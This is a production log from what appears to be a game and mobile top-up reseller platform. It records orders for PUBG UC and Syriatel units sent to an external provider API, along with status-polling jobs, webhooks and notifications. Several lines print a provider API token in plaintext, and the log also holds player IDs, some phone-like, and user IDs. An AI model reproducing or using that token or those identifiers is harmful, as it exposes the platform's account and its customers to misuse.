[2026-03-24 01:43:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=38cd39cd-782b-42dd-bf8a-b75a6e151321&Player_ID=0981545339  
[2026-03-24 01:43:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=38cd39cd-782b-42dd-bf8a-b75a6e151321&Player_ID=0981545339","has_body":false} 
[2026-03-24 01:43:55] production.INFO: Operation sent successfully {"operation_id":163444,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-NAsKm0-1774305834","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 01:43:55"}},"processed_data":{"order_number":"ORD-NAsKm0-1774305834","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 01:44:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01"} 
[2026-03-24 01:44:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01","total_operations":6,"sites_count":2} 
[2026-03-24 01:44:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-1wyGEk-1774305683"]} 
[2026-03-24 01:44:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:44:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 01:44:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1wyGEk-1774305683","operation_id":163443} 
[2026-03-24 01:44:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:44:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:44:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:44:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:44:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 01:44:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:44:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1,"order_ids":["ORD-NAsKm0-1774305834"]} 
[2026-03-24 01:44:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:44:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1} 
[2026-03-24 01:44:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NAsKm0-1774305834","operation_id":163444} 
[2026-03-24 01:44:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NAsKm0-1774305834","operation_id":163444,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 01:44:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NAsKm0-1774305834","operation_id":163444,"processed":0,"errors":0} 
[2026-03-24 01:44:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"aBwfB2kYPpIHIaXsr5BIgR6lxftZV0BN","execution_time":"2026-03-24 01:44:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NAsKm0-1774305834","operation_id":163444} 
[2026-03-24 01:44:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-1wyGEk-1774305683","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 01:44:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-1wyGEk-1774305683","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 01:44:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 01:44:05] production.INFO: SendAcceptReject: Notification queued {"user_id":148,"notification_type":"order_approved","reference_id":178511} 
[2026-03-24 01:44:05] production.INFO: Order updated successfully. Order ID: 178511, Status: completed  
[2026-03-24 01:44:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-1wyGEk-1774305683","status":"completed","codes_count":0} 
[2026-03-24 01:44:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 148  
[2026-03-24 01:45:01] production.INFO: Executing GetProducts task...  
[2026-03-24 01:45:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 01:45:01] production.INFO: Executing GetProducts task...  
[2026-03-24 01:45:03] production.INFO: async() رجع: true  
[2026-03-24 01:45:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 01:45:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 01:45:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 01:45:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 01:45:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 01:45:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 01:45:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 01:45:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 01:45:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 01:45:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 01:45:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 01:46:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02"} 
[2026-03-24 01:46:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","total_operations":5,"sites_count":2} 
[2026-03-24 01:46:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:46:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:46:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:46:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:46:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:46:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1,"order_ids":["ORD-NAsKm0-1774305834"]} 
[2026-03-24 01:46:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:46:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1} 
[2026-03-24 01:46:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NAsKm0-1774305834","operation_id":163444,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 01:46:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NAsKm0-1774305834","operation_id":163444,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 01:46:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NAsKm0-1774305834","operation_id":163444,"count":1} 
[2026-03-24 01:46:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NAsKm0-1774305834","operation_id":163444,"count":1} 
[2026-03-24 01:46:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NAsKm0-1774305834","operation_id":163444,"user_id":1320,"notification_type":"order_approved","reference_id":178512} 
[2026-03-24 01:46:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NAsKm0-1774305834","operation_id":163444,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 01:46:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NAsKm0-1774305834","operation_id":163444,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 01:46:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NAsKm0-1774305834","operation_id":163444,"processed":1,"errors":0} 
[2026-03-24 01:46:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NAsKm0-1774305834","operation_id":163444,"processed":1,"errors":0} 
[2026-03-24 01:46:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"UdgRc8MOfl6qAWtpJjyNdwFcSdt8kixf","execution_time":"2026-03-24 01:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NAsKm0-1774305834","operation_id":163444} 
[2026-03-24 01:46:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1320  
[2026-03-24 01:46:27] production.INFO: SendAcceptReject: Notification queued {"user_id":569,"notification_type":"request_approved","reference_id":18594} 
[2026-03-24 01:46:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 569  
[2026-03-24 01:46:39] production.INFO: Constructing job for order: 178513  
[2026-03-24 01:46:41] production.INFO: Handling job for order: 178513  
[2026-03-24 01:46:41] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 01:46:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 01:46:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=3d81e906-8b91-4938-9237-897d4b27c6e6&Player_ID=51506741938  
[2026-03-24 01:46:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=3d81e906-8b91-4938-9237-897d4b27c6e6&Player_ID=51506741938","has_body":false} 
[2026-03-24 01:46:42] production.INFO: Operation sent successfully {"operation_id":163445,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-jpW0WXw-1774306001","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 01:46:42"}},"processed_data":{"order_number":"ORD-jpW0WXw-1774306001","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 01:46:50] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-jpW0WXw-1774306001","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 01:46:50] production.INFO: Processed webhook data (normalized) {"id":"ORD-jpW0WXw-1774306001","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 01:46:50] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 01:46:50] production.INFO: SendAcceptReject: Notification queued {"user_id":237,"notification_type":"order_approved","reference_id":178513} 
[2026-03-24 01:46:50] production.INFO: Order updated successfully. Order ID: 178513, Status: completed  
[2026-03-24 01:46:50] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-jpW0WXw-1774306001","status":"completed","codes_count":0} 
[2026-03-24 01:46:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 237  
[2026-03-24 01:47:00] production.INFO: SendAcceptReject: Notification queued {"user_id":237,"notification_type":"request_approved","reference_id":18595} 
[2026-03-24 01:47:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 237  
[2026-03-24 01:47:50] production.INFO: Constructing job for order: 178514  
[2026-03-24 01:47:51] production.INFO: Handling job for order: 178514  
[2026-03-24 01:47:51] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 01:47:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 01:47:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=071f3b7c-9a8e-47dd-87d7-8f56ad164ad5&Player_ID=51506741938  
[2026-03-24 01:47:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=071f3b7c-9a8e-47dd-87d7-8f56ad164ad5&Player_ID=51506741938","has_body":false} 
[2026-03-24 01:47:52] production.INFO: Operation sent successfully {"operation_id":163446,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Lh8kellV-1774306071","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 01:47:52"}},"processed_data":{"order_number":"ORD-Lh8kellV-1774306071","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 01:47:59] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Lh8kellV-1774306071","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 01:47:59] production.INFO: Processed webhook data (normalized) {"id":"ORD-Lh8kellV-1774306071","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 01:47:59] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 01:47:59] production.INFO: SendAcceptReject: Notification queued {"user_id":237,"notification_type":"order_approved","reference_id":178514} 
[2026-03-24 01:47:59] production.INFO: Order updated successfully. Order ID: 178514, Status: completed  
[2026-03-24 01:47:59] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Lh8kellV-1774306071","status":"completed","codes_count":0} 
[2026-03-24 01:48:00] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"300.0","mainamount":"300","operation_number":"157922864","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php18237k6n57n6bjgpvfr"}},"user_id":568} 
[2026-03-24 01:48:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 237  
[2026-03-24 01:48:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"jDJaatNfncBb9trGVsViNTyTSQGtNrWe","execution_time":"2026-03-24 01:48:01"} 
[2026-03-24 01:48:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"jDJaatNfncBb9trGVsViNTyTSQGtNrWe","execution_time":"2026-03-24 01:48:01","total_operations":4,"sites_count":1} 
[2026-03-24 01:48:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"jDJaatNfncBb9trGVsViNTyTSQGtNrWe","execution_time":"2026-03-24 01:48:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:48:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"jDJaatNfncBb9trGVsViNTyTSQGtNrWe","execution_time":"2026-03-24 01:48:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:48:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"jDJaatNfncBb9trGVsViNTyTSQGtNrWe","execution_time":"2026-03-24 01:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jDJaatNfncBb9trGVsViNTyTSQGtNrWe","execution_time":"2026-03-24 01:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jDJaatNfncBb9trGVsViNTyTSQGtNrWe","execution_time":"2026-03-24 01:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jDJaatNfncBb9trGVsViNTyTSQGtNrWe","execution_time":"2026-03-24 01:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jDJaatNfncBb9trGVsViNTyTSQGtNrWe","execution_time":"2026-03-24 01:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:48:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"jDJaatNfncBb9trGVsViNTyTSQGtNrWe","execution_time":"2026-03-24 01:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:48:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"jDJaatNfncBb9trGVsViNTyTSQGtNrWe","execution_time":"2026-03-24 01:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:48:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"jDJaatNfncBb9trGVsViNTyTSQGtNrWe","execution_time":"2026-03-24 01:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:48:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 01:48:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 01:48:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 01:48:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 01:48:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 01:48:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 01:48:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 01:48:01] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 01:48:01] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18596,"user_id":568,"amount":300.0,"admins_notified":7} 
[2026-03-24 01:48:26] production.INFO: Constructing job for order: 178515  
[2026-03-24 01:48:28] production.INFO: Handling job for order: 178515  
[2026-03-24 01:48:28] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 01:48:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 01:48:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=9aa2355a-31c8-4d02-8c9f-168da9bb8aef&Player_ID=51506741938  
[2026-03-24 01:48:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=9aa2355a-31c8-4d02-8c9f-168da9bb8aef&Player_ID=51506741938","has_body":false} 
[2026-03-24 01:48:29] production.INFO: Operation sent successfully {"operation_id":163447,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-v0nABy-1774306108","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 01:48:29"}},"processed_data":{"order_number":"ORD-v0nABy-1774306108","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 01:48:38] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-v0nABy-1774306108","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 01:48:38] production.INFO: Processed webhook data (normalized) {"id":"ORD-v0nABy-1774306108","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 01:48:38] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 01:48:39] production.INFO: SendAcceptReject: Notification queued {"user_id":237,"notification_type":"order_approved","reference_id":178515} 
[2026-03-24 01:48:39] production.INFO: Order updated successfully. Order ID: 178515, Status: completed  
[2026-03-24 01:48:39] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-v0nABy-1774306108","status":"completed","codes_count":0} 
[2026-03-24 01:48:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 237  
[2026-03-24 01:50:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"0Bt6IJEWHZQN1fn16rDSTYFmglqQJU46","execution_time":"2026-03-24 01:50:02"} 
[2026-03-24 01:50:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"0Bt6IJEWHZQN1fn16rDSTYFmglqQJU46","execution_time":"2026-03-24 01:50:02","total_operations":4,"sites_count":1} 
